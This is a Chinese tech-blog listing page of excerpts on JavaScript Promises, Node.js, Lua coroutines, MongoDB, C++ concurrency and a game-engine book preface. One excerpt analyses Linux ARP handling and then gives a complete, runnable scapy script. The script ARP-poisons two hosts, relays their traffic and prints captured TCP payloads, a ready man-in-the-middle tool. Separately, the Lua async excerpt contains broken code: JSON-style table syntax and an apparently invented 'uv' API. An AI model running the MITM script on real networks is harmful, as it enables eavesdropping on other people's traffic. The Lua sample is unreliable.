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...实并删除相应内容。 Promise Promise 是异步编程的一种解决方案,比传统的解决方案——回调函数和事件——更合理且更强大。它最早由社区提出并实现,ES6将其写进了语言标准,统一了用法,并原生提供了Promise对象。 特点 1.对象的状态不受外界影响 (3种状态) Pending状态(进行中) Fulfilled状态(已成功) Rejected状态(已失败) 2.一旦状态改变就不会再变 (两种状态改变:成功或失败) Pending -> Fulfilled Pending -> Rejected 用法 创建Promise实例 let promise = new Promise(function(resolve, reject){// 你自己的异步逻辑代码if (/ 异步操作成功 /) {resolve(value);} else { // 异步操作失败reject(error);} }) Promise构造函数接受一个函数作为参数,该函数的两个参数分别是resolve和reject。它们是两个函数,由JavaScript引擎提供,不用自己部署。 resolve作用是将Promise对象状态由“未完成”变为“成功”,也就是Pending -> Fulfilled,在异步操作成功时调用,并将异步操作的结果作为参数传递出去; 而reject函数则是将Promise对象状态由“未完成”变为“失败”,也就是Pending -> Rejected,在异步操作失败时调用,并将异步操作的结果作为参数传递出去。 then Promise实例生成后,可用then方法指定一种状态回调参数: 1.Promise对象状态改为Resolved时调用 (必选) 备注:通俗的讲 resolve => then catch Promise实例生成后,可用catch方法指定一种状态回调参数: 1.Promise对象状态改为Rejected时调用 (可选) 备注:通俗的讲 reject => catch 基本用法示例 function sleep(num) {return new Promise(function(resolve, reject) {if (num>10){resolve('成功') } else {reject('失败') } })}sleep(500).then( res=> console.log(res)).catch(err => console.log(err)); 这段代码定义了一个函数sleep,调用后,如果传入的实参大于10,你会发现他会触发then的回调函数,并且打印出成功,如果传入的实参小于10,你会发现他会触发catch的回调函数,并且打印出失败。 执行顺序 接下来我们探究一下它的执行顺序,看以下代码: let promise = new Promise(function(resolve, reject){console.log("AAA");resolve()});promise.then(() => console.log("BBB"));console.log("CCC")// AAA// CCC// BBB 执行后,我们发现输出顺序总是 AAA -> CCC -> BBB。表明,在Promise新建后会立即执行,所以 首先输出 AAA。然后,then方法指定的回调函数将在当前脚本所有同步任务执行完后才会执行,所以BBB 最后输出。 与定时器混用 首先看一个下面的代码: let promise = new Promise(function(resolve, reject){console.log("1");resolve();});setTimeout(()=>console.log("2"), 0);promise.then(() => console.log("3"));console.log("4");// 1// 4// 3// 2 可以看到,结果输出顺序总是: 1 -> 4 -> 3 -> 2。1与4的顺序不必再说,而2与3先输出Promise的then,而后输出定时器任务。原因则是Promise属于JavaScript引擎内部任务,而setTimeout则是浏览器API,而引擎内部任务优先级高于浏览器API任务,所以有此结果。 本篇文章为转载内容。原文链接:https://blog.csdn.net/scc0413/article/details/125090843。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-06-05 22:54:38
115
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NodeJS
...的新特性,诸如fs Promises API,它为文件系统操作提供了Promise支持,使得异步操作更为简洁直观,同时也减少了上述错误发生的几率。开发者可以利用fs.promises.access()方法在执行读写操作前先检查文件或目录是否存在,以避免不必要的错误。 此外,社区中也有不少针对Node.js文件系统操作的最佳实践与深度解析文章。例如,知名技术博客网站《FreeCodeCamp》发布了一篇名为《Mastering File System Operations in Node.js》的文章,详细解读了如何在实际项目中正确、高效地处理文件与目录问题,包括错误处理机制的优化以及如何借助第三方库(如graceful-fs)来增强Node.js默认文件系统模块的功能,从而降低出现"ENOENT"、“ENOTDIR”等错误的可能性。 因此,对于Node.js开发者来说,除了掌握基本的错误排查技巧外,紧跟官方更新动态,学习并运用最新的API及最佳实践,能够显著提升代码质量与应用稳定性。同时,结合实际案例深入研究,将有助于在复杂场景下更好地应对文件系统相关的各类挑战。
2023-04-14 13:43:40
118
青山绿水-t
Javascript
...箭头函数来处理事件和状态变更,此时由于箭头函数不会创建自己的this上下文,因此避免了this指向问题带来的困扰,同时也简化了代码逻辑。然而,这也要求开发者更精准地掌握闭包、作用域链等相关知识,以应对无this特性的函数调用情况。 此外,对于Class组件中的方法,新版JavaScript允许直接在类体内定义实例方法并利用箭头函数自动绑定this,如myMethod = () => {...},从而省去了手动bind(this)的操作,提升了代码的简洁性和可读性。 值得注意的是,在异步编程领域,Promise和async/await的广泛应用也带来了this绑定的新挑战。尤其是在回调函数或者异步任务中,需要结合EventEmitter、class实例或bind等方式确保this的正确引用。 总之,随着JavaScript语言的持续演进以及各种前端框架的更新迭代,理解和运用好this关键字显得更为关键。同时,关注社区最新实践和规范,不断适应新的编程范式,也是每个前端开发者必备的技能之一。
2023-03-21 11:44:13
284
红尘漫步-t
Shell
...返回一个表示异步操作状态的对象(如Promise或Future),当异步操作完成后,通过回调函数、事件监听或者其他机制来处理实际的返回值。例如,在Node.js环境中,利用async/await语法可以更简洁地编写和管理异步代码,实现基于函数返回值的状态控制。 Promise对象 , 在JavaScript等编程语言中,Promise是一种代表异步操作最终完成(或失败)及其结果的标准化构造。它提供了一种统一的方式来处理异步操作,无论该操作何时完成,都可以使用.then()、.catch()等方法注册回调函数来获取函数返回的Promise对象所代表的成功或失败的结果。结合文章中的语境,函数返回一个Promise对象,可以让开发者根据异步操作的状态进行灵活的逻辑判断与流程控制。
2023-12-12 21:33:31
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冬日暖阳-t
VUE
...etch API自带Promise支持,可以方便地处理异步操作,并且提供了丰富的配置选项以满足复杂场景需求。同时,结合Vue的Async Components和Suspense特性,能够有效提升大型单页应用的数据加载体验和整体性能。 另外,针对数据密集型应用,Vue生态也提倡使用Vuex进行状态管理,通过集中式存储管理和响应式机制,确保组件间数据同步的高效与准确。配合Vue的异步数据获取方法,如async/await语法糖,可以在保证代码可读性的同时,显著改善应用程序的数据加载逻辑。 此外,前端性能优化领域,除了关注数据请求方式外,还包括缓存策略、服务端渲染(SSR)、静态生成(SSG)等技术手段。例如,Nuxt.js作为基于Vue的通用应用框架,为开发者提供了一站式的解决方案,包括但不限于服务端渲染、预取数据等功能,从而提升了Vue应用在SEO友好性和首屏加载速度方面的表现。 总之,在Vue应用程序开发过程中,合理选择数据请求方式并结合最新技术和最佳实践,对于构建高性能、用户体验优秀的Web应用至关重要。
2023-02-20 14:35:44
101
编程狂人
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...etch API支持Promise规范,使得异步操作链式调用更为简便,并且内置了对Response对象的便捷处理方法,可以直接转换或读取JSON数据。 另外,在安全性方面,现代Web应用程序越来越注重数据传输的安全性。除了使用POST方法提交敏感信息外,HTTPS加密协议已成为网站标配,确保所有通信内容(包括GET请求)都被加密,防止中间人攻击。同时,为应对跨站请求伪造(CSRF)等安全威胁,开发者还需借助如CSRF token等机制增强防护。 此外,针对前后端交互模式的演进,RESTful API设计原则被广泛采纳,强调资源的表述性状态转移,使得API设计更加直观和易于维护。而随着前端框架如React、Vue.js等的发展,通过axios、fetch等库进行HTTP请求的操作变得更加方便,这些库通常封装了底层 XMLHttpRequest 或 Fetch API,提供了一致且易用的接口。 总的来说,从基础的XMLHttpRequest到如今丰富的前端工具链与安全策略,Web开发领域不断涌现出新的解决方案以优化HTTP请求的处理方式及提高数据传输安全性。因此,持续关注并掌握最新的网络请求技术和最佳实践对于现代Web开发者至关重要。
2024-02-05 12:22:04
486
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Lua
...内存资源和实现复杂的状态逻辑。 同时,针对闭包可能导致的内存泄漏问题,社区内有持续的研究与探讨。例如,LuaJIT项目通过改进垃圾回收机制,有效缓解了因闭包产生的内存泄露风险。而一些先进的编程实践和模式,如函数式编程风格下的纯函数使用,可以在一定程度上避免无意识地创建长期持有外部状态的闭包。 此外,对于深入理解和掌握闭包这一概念,推荐读者进一步研读《Programming in Lua》一书,书中对Lua语言特性和闭包原理有着详尽而系统的阐述,并提供了大量实用示例以供学习参考。通过理论与实践相结合的方式,开发者能够更好地驾驭闭包这一强大工具,从而提升代码质量和程序性能。
2023-12-18 17:49:43
153
凌波微步-t
Lua
...二、Lua的基本异步机制 Lua通过coroutine(协程)来实现异步操作。哎呀,你懂的,协程就像魔法一样,能让咱们的程序在跑的时候,突然冒出好多条同时进行的线索,就像是在厨房里,一边炒菜一边洗碗,两不耽误。这种玩法让咱们写并发程序的时候,既直觉又灵活,就像在玩拼图游戏,每块拼图都能自己动起来,组合出各种精彩的画面。Lua中创建和管理协程的API包括coroutine.create、coroutine.yield、coroutine.resume等。 三、编写异步任务示例 假设我们要构建一个简单的Web服务器,它需要同时处理多个HTTP请求,并在请求之间进行异步调度。 lua -- 创建一个协程处理函数 function handle_request(req, res) -- 模拟网络延迟 coroutine.yield(1) -- 延迟1秒 io.write(res, "Hello, " .. req) end -- 创建主协程并启动 local main_coroutine = coroutine.create(function() local client = require("socket.http") for i = 1, 5 do local request = "client" .. i local response = "" local resp = client.request("GET", "http://example.com", { ["method"] = "POST", ["headers"] = {"Content-Type": "text/plain"}, ["body"] = request }) coroutine.yield(resp) response = resp.body end print("Responses:", response) end) -- 启动主协程 coroutine.resume(main_coroutine) 四、使用事件循环优化调度 对于更复杂的场景,仅依赖协程的原生能力可能不足以高效地调度大量并发任务。Lua提供了LuaJIT和Lpeg这样的扩展,其中LuaJIT提供了更强大的性能优化和高级特性支持。 我们可以使用LuaJIT的uv库来实现一个事件循环,用于调度和管理协程: lua local uv = require("uv") -- 定义事件循环 local event_loop = uv.loop() -- 创建事件处理器,用于处理协程完成时的回调 function on_complete(err) if err then print("Error occurred: ", err) else print("Task completed successfully.") end event_loop:stop() -- 停止事件循环 end -- 添加协程到事件循环中 for _, req in ipairs({"req1", "req2", "req3"}) do local handle_task = function(task) coroutine.yield(2) -- 模拟较长时间的任务 print("Task ", task, " completed.") uv.callback(on_complete) -- 注册完成回调 end event_loop:add_timer(0, handle_task, req) end -- 启动事件循环 event_loop:start() 五、总结与展望 通过上述示例,我们了解到Lua在处理复杂异步任务调度时的强大能力。无论是利用基本的协程功能还是扩展库提供的高级特性,Lua都能帮助开发者构建高性能、可扩展的应用系统。哎呀,随着咱们对并发模型这事儿琢磨得越来越透了,开发者们就可以开始尝试搞一些更复杂、更有意思的调度策略和优化方法啦!比如说,用消息队列这种黑科技来管理任务,或者建立个任务池,让任务们排队等待执行,这样一来,咱们就能解决更多、更复杂的并发问题了,是不是感觉挺酷的?总之,Lua以其简洁性和灵活性,成为处理异步任务的理想选择之一。
2024-08-29 16:20:00
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蝶舞花间
c++
...实现线程协作式中断的机制后,我们可以进一步探索现代多线程编程中的其他关键技术和最佳实践。近日,ISO C++标准委员会发布了C++23的工作草案,其中对并发和并行库进行了多项增强,如改进了对异步编程的支持以及细化了对线程同步原语的控制。 例如,提案P1054“std::stop_token”引入了一个新的机制,允许线程安全且高效地通知多个等待的任务停止执行,这与ThreadInterruptedException有异曲同工之妙,但提供了更为标准化和统一的方法来处理线程中断场景。此外,对于更复杂的并发设计,诸如细粒度锁、无锁数据结构以及Futures和Promises等异步编程工具的应用也值得深入研究。 另外,值得一提的是《C++ Concurrency in Action》这本书,它详细解读了C++多线程编程的各种核心概念和技术,并提供了大量实用案例和深度分析。书中不仅涵盖了线程中断这样的基础话题,还延伸到了如何避免竞态条件、死锁等问题,以及如何利用现代C++特性提升并发程序性能的策略。 综上所述,在紧跟C++最新并发特性的基础上,深入研读相关文献和技术资料,结合实战经验不断优化和完善线程管理策略,是每一位致力于提高多线程编程能力的开发者不可或缺的学习路径。
2023-03-08 17:43:12
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幽谷听泉
ZooKeeper
...含了针对网络分区恢复机制的多项改进,比如优化“Looking”状态下的决策逻辑,以及增强集群间数据同步性能,力求在网络不稳定情况下仍能提供更高水平的服务质量。 与此同时,为了更好地权衡数据一致性与系统可用性,一些新型的分布式协调服务如Paxos、Raft等协议的实现(如Etcd、Consul)也在实践中逐渐崭露头角,为开发者提供了更多选择与借鉴。这些技术的发展与实践,无疑将为构建更为健壮、适应复杂网络环境的分布式系统注入新的活力。
2024-01-05 10:52:11
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红尘漫步
NodeJS
...extTick()与Promise配合,解决Node.js中的异步回调地狱问题,这一实践有助于我们更好地理解process对象在Node.js异步编程模型中的核心地位。 与此同时,一本名为《Mastering Node.js Process Management》的新书出版,作者深入剖析了process对象的各个属性和方法,辅以丰富的实战案例,旨在帮助开发者全面掌握Node.js进程管理的技巧,从而提升应用的稳定性和性能表现。 综上所述,持续关注和深入学习关于Node.js process全局对象的相关知识和技术动态,无疑将有力推动我们在Node.js开发领域的专业成长与项目实施的成功率。
2024-03-22 10:37:33
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人生如戏
Mongo
...会通过回调、事件或者Promise等方式通知你结果。这种方式极大地提高了系统并发处理能力。 MongoDB的驱动程序(如Node.js中的mongodb库)确实采用了异步模式进行数据库连接和写入操作。这是因为,在处理像网络传输、磁盘读写这类IO密集型操作时,如果选择同步执行的方式,会让线程或者进程陷入“等待”的状态,就像堵车一样停滞不前,这样一来,就会影响到整个应用程序的运行效率和性能表现。所以,MongoDB的这个异步设计妙就妙在,即使你的应用程序正在处理海量数据读写,也能稳稳保证响应速度贼快,运行起来流畅得飞起,一点儿不卡顿。 2. 连接MongoDB数据库的异步过程 (以下示例采用Node.js环境及官方mongodb库) javascript const MongoClient = require('mongodb').MongoClient; // 异步连接MongoDB MongoClient.connect('mongodb://localhost:27017/mydatabase', { useNewUrlParser: true, useUnifiedTopology: true }, (err, client) => { if (err) { console.error('Error connecting to MongoDB:', err); return; } console.log('Connected successfully to MongoDB'); // 使用client对象进行数据库操作... const db = client.db(); // ... // 在完成所有数据库操作后,记得关闭连接 client.close(); }); 上述代码展示了如何异步地连接到MongoDB数据库。这里,MongoClient.connect()方法接受一个连接字符串、配置选项以及一个回调函数。当连接成功建立或发生错误时,回调函数会被调用。这正是异步编程的体现,主线程不会被阻塞,直到连接操作完成才执行后续逻辑。 3. 向MongoDB数据库异步写入数据 同样,向MongoDB插入或更新数据也是异步执行的。下面是一个向集合中插入文档的例子: javascript db.collection('mycollection').insertOne({ name: 'John Doe', age: 30 }, (err, result) => { if (err) { console.error('Error inserting document:', err); return; } console.log('Document inserted successfully:', result.insertedId); // 插入操作完成后,可以在这里执行其他逻辑 }); // 注意:这里的db是上一步异步连接成功后获取的数据库实例 这段代码展示了如何异步地向MongoDB的一个集合插入一个文档。你知道吗,这个insertOne()方法就像是个贴心的小帮手,它会接收一个文档对象作为“礼物”,然后再加上一个神奇的回调函数。当你把这个“礼物”放进去,或者在插入过程中不小心出了点小差错的时候,这个神奇的回调函数就会立马跳出来开始干活儿啦! 4. 思考与探讨 在实际开发过程中,异步操作无疑提升了我们的应用性能和用户体验。然而,这也带来了回调地狱、复杂的流程控制等问题。还好啦,现代的JavaScript可真是够意思的,它引入了Promise、async/await这些超级实用的工具,让咱们在处理异步编程时简直如虎添翼。这样一来,我们在和MongoDB打交道的时候,就能写出更加顺溜、更好懂、更好维护的代码,那感觉别提多棒了! 总结来说,MongoDB在连接数据库和写入数据时采取异步机制,这种设计让我们能够在高并发环境下更好地优化资源利用,提升系统效率。同时,作为开发者大兄弟,咱们得深入理解并灵活玩转异步编程这门艺术,才能应对各种意想不到的挑战,把MongoDB那牛哄哄的功能发挥到极致。
2024-03-10 10:44:19
167
林中小径_
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...地址的对应关系,当前状态 struct neighbour_table{....................} 每一个地址解析协议对应一个neighbour_table,我们可以查看ARP的初始函数arp_init,其会创建arp_tbl neighbour_table 包含 neighbour 邻居子系统的状态转换 其状态信息是存放在neighbour结构的nud_state字段的 可以分析neigh_update与neigh_timer_handler函数,来理解他们之间的转换关系。 NUD_NONE: 表示刚刚调用neigh_alloc创建neighbour NUD_IMCOMPLETE 发送一个请求,但是还未收到响应。如果经过一段时间后,还是没有收到响应,则查看发送请求数是否超过上限,如果超过则转到NUD_FAILED,否则继续发送请求。如果接受到响应则转到NUD_REACHABLE NUD_REACHABLE: 表示目标可达。如果经过一段时间,未有到达目标的数据包,则转为NUD_STALE状态 NUD_STALE 在此状态,如果有用户准备发送数据,则切换到NUD_DELAY状态 NUD_DELAY 该状态会启动一个定时器,然后接受可到达确认,如果定时器过期之前,收到可到达确认,则将状态切换到NUD_REACHABLE,否则转换到NUD_PROBE状态。 NUD_PROBE 类似NUD_IMCOMPLETE状态 NUD_FAILED 不可达状态,准备删除该neighbour 各种状态之间的切换,也可以通过scapy构造数据包发送并通过Linux 下的 ip neigh show 命令查看 ARP接收处理函数分析 ARP的接收处理函数为arp_process(位于net/ipv4/arp.c)中 我们分情况讨论arp_process的处理函数并结合scapy发包来分析处理过程 当为ARP请求数据包,且能找到到目的地址的路由 如果不是发送到本机的ARP请求数据包,则看是否需要进行代理ARP处理 如果是发送到本机的ARP请求数据包,则分neighbour的状态进行讨论,但是通过分析发现,不论当前neighbour是处于何种状态(NUD_FAILD、NUD_NONE除外),则都会将状态切换成 NUD_STALE状态,且mac地址不相同时,则会切换到本次发送方的mac地址 当为ARP请求数据包,不能找到到目的地址的路由 不做任何处理 当为ARP响应数据包 如果没有对应的neighbour,则不做任何处理。如果该neighbour存在,则将状态切换为NUD_REACHABLE,MAC地址更换为本次发送方的地址 中间人攻击原理 通过以上分析,可以向受害主机A发送ARP请求数据包,其中请求包中将源IP地址,设置成为受害主机B的IP地址,这样,就会将主机A中的B的 MAC缓存,切换为我们的MAC地址。 同理,向B中发送ARP请求包,其中源IP地址为A的地址 然后,我们进行ARP数据包与IP数据包的中转,从而达到中间人攻击。 使用Python scapy包,实现中间人攻击: 环境 python3 ubuntu 14.04 VMware 虚拟专用网络 代码 !/usr/bin/python3from scapy.all import import threadingimport timeclient_ip = "192.168.222.186"client_mac = "00:0c:29:98:cd:05"server_ip = "192.168.222.185"server_mac = "00:0c:29:26:32:aa"my_ip = "192.168.222.187"my_mac = "00:0c:29:e5:f1:21"def packet_handle(packet):if packet.haslayer("ARP"):if packet.pdst == client_ip or packet.pdst == server_ip:if packet.op == 1: requestif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)pkt = Ether(dst=packet.src)/ARP(op=2,pdst=packet.psrc,psrc=packet.pdst) replysendp(pkt)if packet.op == 2: replyif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.haslayer("IP"):if packet[IP].dst == client_ip or packet[IP].dst == server_ip:if packet[IP].dst == client_ip:packet[Ether].dst=client_macif packet[IP].dst == server_ip:packet[Ether].dst=server_macpacket[Ether].src = my_macsendp(packet)if packet.haslayer("TCP"):print(packet[TCP].payload)class SniffThread(threading.Thread):def __init__(self):threading.Thread.__init__(self)def run(self):sniff(prn = packet_handle,count=0)class PoisoningThread(threading.Thread):__src_ip = ""__dst_ip = ""__mac = ""def __init__(self,dst_ip,src_ip,mac):threading.Thread.__init__(self)self.__src_ip = src_ipself.__dst_ip = dst_ipself.__mac = macdef run(self):pkt = Ether(dst=self.__mac)/ARP(pdst=self.__dst_ip,psrc=self.__src_ip)srp1(pkt)print("poisoning thread exit")if __name__ == "__main__":my_sniff = SniffThread()client = PoisoningThread(client_ip,server_ip,client_mac)server = PoisoningThread(server_ip,client_ip,server_mac)client.start()server.start()my_sniff.start()client.join()server.join()my_sniff.join() client_ip 为发送数据的IP server_ip 为接收数据的IP 参考质料 Linux邻居协议 学习笔记 之五 通用邻居项的状态机机制 https://blog.csdn.net/lickylin/article/details/22228047 转载于:https://www.cnblogs.com/r1ng0/p/9861525.html 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_30278237/article/details/96265452。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-05-03 13:04:20
560
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Javascript
...不是特别清楚啊?这个机制厉害的地方就在于,不仅能让我们一下子找准问题出在哪,还能防止程序直接挂掉,多靠谱啊! 不过需要注意的是,catch块只能捕获同步代码中的错误。如果是异步代码(比如Promise),你需要用.catch()方法来捕获错误,而不是catch块。 --- 3. 自定义错误 让错误更有个性 有时候,内置的错误类型可能无法完全满足我们的需求。比如说啊,有时候咱们就想把不同的业务情况分开来,或者给错误消息补充点更多的背景信息,这样看起来更清楚嘛。这时,自定义错误就派上用场了! 在JavaScript中,我们可以继承Error类来自定义错误类型。这样一来,不仅能明确到底哪里出错了,还让别的程序员能迅速搞清楚问题到底出在哪儿,省得他们一头雾水地瞎猜。 javascript class CustomError extends Error { constructor(message, code) { super(message); this.name = "CustomError"; this.code = code; } } function validateAge(age) { if (age < 0) { throw new CustomError("年龄不能为负数", 400); } } try { validateAge(-5); } catch (error) { console.log(错误名称: ${error.name}); console.log(错误信息: ${error.message}); console.log(错误代码: ${error.code}); } 在这个例子中,我们创建了一个CustomError类,它继承自Error类,并额外添加了一个code属性。当我们验证年龄时,如果年龄小于零,就会抛出自定义错误。在 catch 块里啊,不仅能捞到错误的信息,还能瞅见咱们自己定义的错误码呢!这就像是给代码加了点调料,让它既好看又好用,读起来顺眼,改起来也方便。 --- 4. finally 无论成败,都要善后 最后,我们再来说说finally关键字。不管你是否成功地捕获到了错误,finally块都会被执行。它就像是个“收尾小能手”,专门负责那些非做不可的事儿,比如说关掉文件流啦,释放占用的资源啦,总之就是那种拖不得也偷懒不得的任务。 javascript try { console.log("开始操作..."); throw new Error("发生了错误"); } catch (error) { console.error(error.message); } finally { console.log("无论如何,我都会执行!"); } 在这个例子中,无论是否有错误发生,finally块都会被执行。这对于清理工作特别有用,比如关闭数据库连接、清除缓存等等。 --- 总结:拥抱错误,掌控未来 好了,朋友们,今天的分享就到这里啦!通过这篇文章,我希望你能对throw语句有了更深的理解。其实啊,错误并不可怕,可怕的是我们不去面对它。throw语句就像是一个信号灯,提醒我们及时调整方向;而try...catch则是我们的导航系统,帮助我们顺利抵达目的地。 记住一句话:错误不是终点,而是成长的契机。所以,别害怕抛出错误,也不要逃避捕获错误。让我们一起用throw语句打造更加健壮的代码吧!如果你还有什么疑问,欢迎随时来找我讨论哦~
2025-03-28 15:37:21
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翡翠梦境
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...理解当中的架构、各种机制和技术,并且分析及解决在制作中遇到的问题。这些也是译者曾任于上海两家工作室时的主要工作范畴。 选择翻译此著作,主要原因是在阅读中得到共鸣,并且能知悉一些知名游戏作品实际上所采用的方案。有感坊间大部分游戏开发书籍并不是由业内人士执笔,内容只足够应付一些最简单的游戏开发,欠缺宏观比较各种方案,技术与当今实际情况也有很大差距。而一些Gems类丛书虽然偶有好文章,但受形式所限欠缺系统性、全面性。难得本书原作者身为世界一流游戏工作室的资深游戏开发者(注1),在繁重的游戏开发工作外,还在大学教授游戏开发课程以至编写本著作。此外,从与内地同事的交流中,了解到许多从业者不愿意阅读外文书籍。为了普及知识及反馈业界社会,希望能尽绵力。 或许有些人以为本著作是针对单机/游戏机游戏的,并不适合国内以网游为主的环境。但译者认为这是一种误解,许多游戏本身所涉及的技术是具通用性的。例如游戏性相关的游戏性系统、场景管理、人工智能、物理模拟等部分,许多时候也会同时用于网游的前台和后台。现时,一些动作为主、非MMO的国内端游甚至会直接在后台运行传统意义上的游戏引擎。至于前台相关的技术,单机和端游的区别更少。此外,随着近年移动终端的兴起,其硬件性能已超越传统掌上游戏机,开发手游所需的技术与传统掌上游戏机并无太大差异。还可预料,现时单机/游戏机的一些较高级的架构及技术,将在不远的未来着陆移动终端平台。 译者认为,本书涵括游戏开发技术的方方面面,同时适合入门及经验丰富的游戏程序员。书名中的架构二字,并不单是给出一个系统结构图,而是描述每个子系统的需求、相关技术及与其他子系统的关系。对译者本人而言,本书的第11章(动画系统)及第14章(运行时游戏性基础系统)是本书特別精彩之处,含有许多少见于其他书籍的内容。而第10章(渲染引擎)由于是游戏引擎中的一个极大的部分,有限的篇幅可能未能覆盖广度及深度,推荐读者参考[1](注2),人工智能方面也需参考其他专著。 本译作采用LaTeX排版(注3),以Inkscape编译矢量图片。为了令阅读更流畅,内文中的网址都统一改以脚注标示。另外,由于现时游戏开发相关的文献以英文为主,而且游戏开发涉及的知识面很广,本译作尽量以括号形式保留英文术语。为了方便读者查找内容,在附录中增设中英文双向索引(索引条目与原著的不同)。 本人在香港成长学习及工作,至2008年才赴内地游戏工作室工作,不黯内地的中文写作及用字习惯,翻译中曾遇到不少困难。有幸得到出版社人员以及良师益友的帮助,才能完成本译作。特别感谢周筠老师支持本作的提案,并耐心地给予协助及鼓励。编辑张春雨老师和卢鸫翔老师,以及好友余晟给予了大量翻译上的知识及指导。也感谢游戏业界专家云风、大宝和Dave给予了许多宝贵意见。此书的翻译及排版工作比预期更花时间,感谢妻子及儿女们的体谅。此次翻译工作历时三年半,因工作及家庭事宜导致严重延误,唯有在翻译及排版工作上更尽心尽力,希望求得等待此译作的读者们谅解。无论是批评或建议,诚希阁下通过电邮miloyip@gmail.com、新浪微博、豆瓣等渠道不吝赐教。 叶劲峰(Milo Yip) 2013年10月 原作者是顽皮狗(Naughty Dog)《神秘海域(Uncharted)》系列的通才程序员、《最后生还者(The Last of Us)》的首席程序员,之前还曾在EA和Midway工作。 中括号表示引用附录中的参考文献。一些参考条目加入了其中译本的信息。 具体是使用CTEX套装,它是在MiKTeX的基础上增加中文的支持。 前言 最早的电子游戏完全由硬件构成,但微处理器(microprocessor)的高速发展完全改变了游戏的面貌。现在的游戏是在多用途的PC和专门的电子游戏主机(video game console)上玩的,凭借软件带来绝妙的游戏体验。从最初的游戏诞生至今已有半个世纪,但很多人仍然认为游戏是一个未成熟的产业。即使游戏可能是个年轻的产业,若仔细观察,也会发现它正在高速发展。 现时游戏已成为一个上百亿美元的产业,覆盖不同年龄、性别的广泛受众。 千变万化的游戏,可以分为从纸牌游戏到大型多人在线游戏(massively multiplayer online game,MMOG)等多个种类(category)和“类型(genre)”(注1),也可以运行在任何装有微芯片(microchip)的设备上 。你现在可以在PC、手机及多种特别为游戏而设计的手持/电视游戏主机上玩游戏。家用电视游戏通常代表最尖端的游戏科技,又由于它们是周期性地推出新版本,因此有游戏机“世代”(generation)的说法。最新一代(注2)的游戏机包括微软的Xbox 360和索尼的PlayStation 3,但一定不可忽视长盛不衰的PC,以及最近非常流行的任天堂Wii。 最近,剧增的下载式休闲游戏,使这个多样化的商业游戏世界变得更复杂。虽然如此,大型游戏仍然是一门大生意。今天的游戏平台非常复杂,有难以置信的运算能力,这使软件的复杂度得以进一步提升。所有这些先进的软件都需要由人创造出来,这导致团队人数增加,开发成本上涨。随着产业变得成熟,开发团队要寻求更好、更高效的方式去制作产品,可复用软件(reusable software)和中间件(middleware)便应运而生,以补偿软件复杂度的提升。 由于有这么多风格迥异的游戏及多种游戏平台,因此不可能存在单一理想的软件方案。然而,业界已经发展出一些模式 ,也有大量的潜在方案可供选择。现今的问题是如何找到一个合适的方案去迎合某个项目的需要。再进一步,开发团队必须考虑项目的方方面面,以及如何把各方面集成。对于一个崭新的游戏设计,鲜有可能找到一个完美搭配游戏设计各方面的软件包。 现时业界内的老手,入行时都是“开荒牛”。我们这代人很少是计算机科学专业出身(Matt的专业是航空工程、Jason的专业是系统设计工程),但现时很多学院已设有游戏开发的课程和学位。时至今日,为了获取有用的游戏开发信息,学生和开发者必须找到好的途径。对于高端的图形技术,从研究到实践都有大量高质量的信息。可是,这些信息经常不能直接应用到游戏的生产环境,或者没有一个生产级质量的实现。对于图形以外的游戏开发技术,市面上有一些所谓的入门书籍,没提及参考文献就描述很多内容细节,像自己发明的一样。这种做法根本没有用处,甚至经常带有不准确的内容。另一方面,市场上有一些高端的专门领域书籍,例如物理、碰撞、人工智能等。可是,这类书或者啰嗦到让你难以忍受,或者高深到让部分读者无法理解,又或者内容过于零散而难于融会贯通。有一些甚至会直接和某项技术挂钩,软硬件一旦改动,其内容就会迅速过时。 此外,互联网也是收集相关知识的绝佳工具。可是,除非你确实知道要找些什么,否则断链、不准确的资料、质量差的内容也会成为学习障碍。 好在,我们有Jason Gregory,他是一位拥有在顽皮狗(Naughty Dog)工作经验的业界老手,而顽皮狗是全球高度瞩目的游戏工作室之一。Jason在南加州大学教授游戏编程课程时,找不到概括游戏架构的教科书。值得庆幸的是,他承担了这个任务,填补了这个空白。 Jason把应用到实际发行游戏的生产级别知识,以及整个游戏开发的大局编集于本书。他凭经验,不仅融汇了游戏开发的概念和技巧,还用实际的代码示例及实现例子去说明怎样贯通知识来制作游戏。本书的引用及参考文献可以让读者更深入探索游戏开发过程的各方面。虽然例子经常是基于某些技术的,但是概念和技巧是用来实际创作游戏的,它们可以超越个别引擎或API的束缚。 本书是一本我们入行做游戏时想要的书。我们认为本书能让入门者增长知识,也能为有经验者开拓更大的视野。 Jeff Lander(注3) Matthew Whiting(注4) 译注:Genre一词在文学中为体裁。电影和游戏里通常译作类型。不同的游戏类型可见1.2节。 译注:按一般说法,2005年至今属于第7个游戏机世代。这3款游戏机的发行年份为Xbox 360(2005)、PlayStation 3(2006)、Wii(2006)。有关游戏机世代可参考维基百科。 译注:Jeff Lander现时为Darwin 3D公司的首席技术总监、Game Tech公司创始人,曾为艺电首席程序员、Luxoflux公司游戏性及动画技术程序员。 译注:Matthew Whiting现时为Wholesale Algorithms公司程序员,曾为Luxoflux公司首席软件工程师、Insomniac Games公司程序员。 序言 